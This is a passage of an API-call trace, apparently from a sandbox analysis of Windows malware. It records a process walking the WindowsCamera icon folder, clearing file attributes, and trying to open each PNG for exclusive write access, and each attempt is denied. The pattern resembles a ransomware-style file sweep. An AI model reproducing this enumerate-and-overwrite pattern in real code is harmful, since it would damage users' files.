	[0090.309] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraAppList.contrast-black_scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\assets\\windowsicons\\windowscameraapplist.contrast-black_scale-125.png")) returned 0x20
	[0090.309] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraAppList.contrast-black_scale-125.png", dwFileAttributes=0x20) returned 0
	[0090.309] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraAppList.contrast-black_scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\assets\\windowsicons\\windowscameraapplist.contrast-black_scale-125.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.309] GetLastError () returned 0x5
	[0090.309] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraAppList.contrast-black_scale-125.png", dwFileAttributes=0x20) returned 0
	[0090.310] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34038) returned 1
	[0090.310] FindNextFileW (in: hFindFile=0x477a968, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x924d5709, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x924d5709, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x924d5709, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsCameraAppList.contrast-white_scale-125.png", cAlternateFileName="")) returned 1
	[0090.310] wcscmp (_String1="WindowsCameraAppList.contrast-white_scale-125.png", _String2=".") returned 1
	[0090.310] wcscmp (_String1="WindowsCameraAppList.contrast-white_scale-125.png", _String2="..") returned 1
	[0090.310] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x15e) returned 0x2e33930
	[0090.310] wcscpy (in: _Dest=0x2e33930, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons"
	[0090.310] wcscat (in: _Dest=0x2e33930, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\"
	[0090.310] wcscat (in: _Dest=0x2e33930, _Source="WindowsCameraAppList.contrast-white_scale-125.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraAppList.contrast-white_scale-125.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraAppList.contrast-white_scale-125.png"
	[0090.310] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraAppList.contrast-white_scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\assets\\windowsicons\\windowscameraapplist.contrast-white_scale-125.png")) returned 0x20
	[0090.313] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraAppList.contrast-white_scale-125.png", dwFileAttributes=0x20) returned 0
	[0090.313] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraAppList.contrast-white_scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\assets\\windowsicons\\windowscameraapplist.contrast-white_scale-125.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.313] GetLastError () returned 0x5
	[0090.313] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraAppList.contrast-white_scale-125.png", dwFileAttributes=0x20) returned 0
	[0090.313] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33930) returned 1
	[0090.313] FindNextFileW (in: hFindFile=0x477a968, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x924d5709, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x924d5709, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x924d5709, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x101, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsCameraAppList.scale-125.png", cAlternateFileName="")) returned 1
	[0090.313] wcscmp (_String1="WindowsCameraAppList.scale-125.png", _String2=".") returned 1
	[0090.313] wcscmp (_String1="WindowsCameraAppList.scale-125.png", _String2="..") returned 1
	[0090.313] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x140) returned 0x2e34918
	[0090.313] wcscpy (in: _Dest=0x2e34918, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons"
	[0090.313] wcscat (in: _Dest=0x2e34918, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\"
	[0090.313] wcscat (in: _Dest=0x2e34918, _Source="WindowsCameraAppList.scale-125.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraAppList.scale-125.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraAppList.scale-125.png"
	[0090.313] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraAppList.scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\assets\\windowsicons\\windowscameraapplist.scale-125.png")) returned 0x20
	[0090.313] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraAppList.scale-125.png", dwFileAttributes=0x20) returned 0
	[0090.314] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraAppList.scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\assets\\windowsicons\\windowscameraapplist.scale-125.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.314] GetLastError () returned 0x5
	[0090.314] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraAppList.scale-125.png", dwFileAttributes=0x20) returned 0
	[0090.314] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34918) returned 1
	[0090.314] FindNextFileW (in: hFindFile=0x477a968, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x924d5709, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x924d5709, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x924d5709, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x657, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsCameraLargeTile.contrast-black_scale-125.png", cAlternateFileName="")) returned 1
	[0090.314] wcscmp (_String1="WindowsCameraLargeTile.contrast-black_scale-125.png", _String2=".") returned 1
	[0090.314] wcscmp (_String1="WindowsCameraLargeTile.contrast-black_scale-125.png", _String2="..") returned 1
	[0090.314] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x162) returned 0x2e34918
	[0090.314] wcscpy (in: _Dest=0x2e34918, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons"
	[0090.314] wcscat (in: _Dest=0x2e34918, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\"
	[0090.314] wcscat (in: _Dest=0x2e34918, _Source="WindowsCameraLargeTile.contrast-black_scale-125.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraLargeTile.contrast-black_scale-125.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraLargeTile.contrast-black_scale-125.png"
	[0090.314] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraLargeTile.contrast-black_scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\assets\\windowsicons\\windowscameralargetile.contrast-black_scale-125.png")) returned 0x20
	[0090.317] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraLargeTile.contrast-black_scale-125.png", dwFileAttributes=0x20) returned 0
	[0090.317] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraLargeTile.contrast-black_scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\assets\\windowsicons\\windowscameralargetile.contrast-black_scale-125.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.317] GetLastError () returned 0x5
	[0090.317] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraLargeTile.contrast-black_scale-125.png", dwFileAttributes=0x20) returned 0
	[0090.317] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34918) returned 1
	[0090.317] FindNextFileW (in: hFindFile=0x477a968, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x924d5709, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x924d5709, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x924d5709, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsCameraLargeTile.contrast-white_scale-125.png", cAlternateFileName="")) returned 1
	[0090.317] wcscmp (_String1="WindowsCameraLargeTile.contrast-white_scale-125.png", _String2=".") returned 1
	[0090.317] wcscmp (_String1="WindowsCameraLargeTile.contrast-white_scale-125.png", _String2="..") returned 1
	[0090.317] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x162) returned 0x2e348f8
	[0090.317] wcscpy (in: _Dest=0x2e348f8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons"
	[0090.317] wcscat (in: _Dest=0x2e348f8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\"
	[0090.317] wcscat (in: _Dest=0x2e348f8, _Source="WindowsCameraLargeTile.contrast-white_scale-125.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraLargeTile.contrast-white_scale-125.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraLargeTile.contrast-white_scale-125.png"
	[0090.317] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraLargeTile.contrast-white_scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\assets\\windowsicons\\windowscameralargetile.contrast-white_scale-125.png")) returned 0x20
	[0090.317] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraLargeTile.contrast-white_scale-125.png", dwFileAttributes=0x20) returned 0
	[0090.317] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraLargeTile.contrast-white_scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\assets\\windowsicons\\windowscameralargetile.contrast-white_scale-125.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.317] GetLastError () returned 0x5
	[0090.318] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraLargeTile.contrast-white_scale-125.png", dwFileAttributes=0x20) returned 0
	[0090.318] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e348f8) returned 1
	[0090.318] FindNextFileW (in: hFindFile=0x477a968, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x924fb963, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x924fb963, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x924fb963, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x657, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsCameraLargeTile.scale-125.png", cAlternateFileName="")) returned 1
	[0090.318] wcscmp (_String1="WindowsCameraLargeTile.scale-125.png", _String2=".") returned 1
	[0090.318] wcscmp (_String1="WindowsCameraLargeTile.scale-125.png", _String2="..") returned 1
	[0090.318] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x144) returned 0x2e348f8
	[0090.318] wcscpy (in: _Dest=0x2e348f8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons"
	[0090.318] wcscat (in: _Dest=0x2e348f8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\"
	[0090.318] wcscat (in: _Dest=0x2e348f8, _Source="WindowsCameraLargeTile.scale-125.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraLargeTile.scale-125.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraLargeTile.scale-125.png"
	[0090.318] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraLargeTile.scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\assets\\windowsicons\\windowscameralargetile.scale-125.png")) returned 0x20
	[0090.318] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraLargeTile.scale-125.png", dwFileAttributes=0x20) returned 0
	[0090.318] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraLargeTile.scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\assets\\windowsicons\\windowscameralargetile.scale-125.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.318] GetLastError () returned 0x5
	[0090.318] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraLargeTile.scale-125.png", dwFileAttributes=0x20) returned 0
	[0090.318] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e348f8) returned 1
	[0090.318] FindNextFileW (in: hFindFile=0x477a968, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x924fb963, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x924fb963, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x924fb963, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x257, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsCameraMedTile.contrast-black_scale-125.png", cAlternateFileName="")) returned 1
	[0090.318] wcscmp (_String1="WindowsCameraMedTile.contrast-black_scale-125.png", _String2=".") returned 1
	[0090.318] wcscmp (_String1="WindowsCameraMedTile.contrast-black_scale-125.png", _String2="..") returned 1
	[0090.318] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x15e) returned 0x2e345d8
	[0090.319] wcscpy (in: _Dest=0x2e345d8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons"
	[0090.319] wcscat (in: _Dest=0x2e345d8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\"
	[0090.319] wcscat (in: _Dest=0x2e345d8, _Source="WindowsCameraMedTile.contrast-black_scale-125.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraMedTile.contrast-black_scale-125.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraMedTile.contrast-black_scale-125.png"
	[0090.319] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraMedTile.contrast-black_scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\assets\\windowsicons\\windowscameramedtile.contrast-black_scale-125.png")) returned 0x20
	[0090.320] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraMedTile.contrast-black_scale-125.png", dwFileAttributes=0x20) returned 0
	[0090.321] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraMedTile.contrast-black_scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\assets\\windowsicons\\windowscameramedtile.contrast-black_scale-125.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.321] GetLastError () returned 0x5
	[0090.321] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\WindowsCameraMedTile.contrast-black_scale-125.png", dwFileAttributes=0x20) returned 0
	[0090.321] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e345d8) returned 1
	[0090.321] FindNextFileW (in: hFindFile=0x477a968, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x924fb963, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x924fb963, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x924fb963, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsCameraMedTile.contrast-white_scale-125.png", cAlternateFileName="")) returned 1
	[0090.321] wcscmp (_String1="WindowsCameraMedTile.contrast-white_scale-125.png", _String2=".") returned 1
	[0090.321] wcscmp (_String1="WindowsCameraMedTile.contrast-white_scale-125.png", _String2="..") returned 1
	[0090.321] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x15e) returned 0x2e34470
	[0090.321] wcscpy (in: _Dest=0x2e34470, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons"
	[0090.321] wcscat (in: _Dest=0x2e34470, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_neutral_split.scale-125_8wekyb3d8bbwe\\Assets\\WindowsIcons\\"
